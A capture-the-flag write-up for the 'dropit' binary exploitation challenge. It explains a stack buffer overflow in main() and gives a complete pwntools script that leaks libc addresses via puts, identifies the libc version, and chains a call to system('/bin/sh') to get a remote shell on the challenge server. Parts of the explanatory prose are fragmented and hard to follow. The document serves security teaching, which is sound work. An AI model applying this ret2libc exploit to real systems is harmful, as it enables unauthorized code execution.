Tags: pwntools libc-database
Rating:
You're on your own this time. Can you get a shell?
nc challenges.ctfd.io 30261
-asphyxia
Hint: https://libc.rip
Files: dropit
pwnscripts
. Try it![*] '/dropit'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
int main() {
char s[0x30]; // [rsp+0h] [rbp-30h]
setvbuf(_bss_start, 0, 2, 0);
puts("?");
fgets(s, 0x64, stdin); //overflow
}
That's it. A BOF of 0x64-0x38 == 44
characters. There's basically nothing else inside the binary itself, so what we have to do is
0x403FB0
+ due to No PIE
)puts()
on the .plt
section to print the value at RDI (which is a libc address)libc-database
to identify the libc version & libc basepwnscripts
system()
function.from pwnscripts import *
context.binary = 'dropit'
context.libc_database = 'libc-database'
GOT_FUNCS = list(context.binary.got.keys())[-3:]
r = remote('challenges.ctfd.io', 30261)
def resolve_GOT(f: str) -> bytes:
'''get the libc address of GOT function f'''
R = ROP(context.binary)
R.raw(0x38*b'a')
R.puts(context.binary.got[f])
R.main()
r.sendlineafter('?\n', R.chain())
return unpack_bytes(r.recvline(),6)
libc_dict = dict((f,resolve_GOT(f)) for f in GOT_FUNCS)
context.libc = context.libc_database.libc_find(libc_dict)
R = ROP(context.libc)
R.raw(0x38*b'a')
R.raw(R.ret.address)
R.system(context.libc.symbols['str_bin_sh'])
r.sendlineafter('?\n', R.chain())
r.interactive()
Note that a ret
gadget has to be added before the system()
call to prevent a crash on movaps
. See the Common Pitfalls section here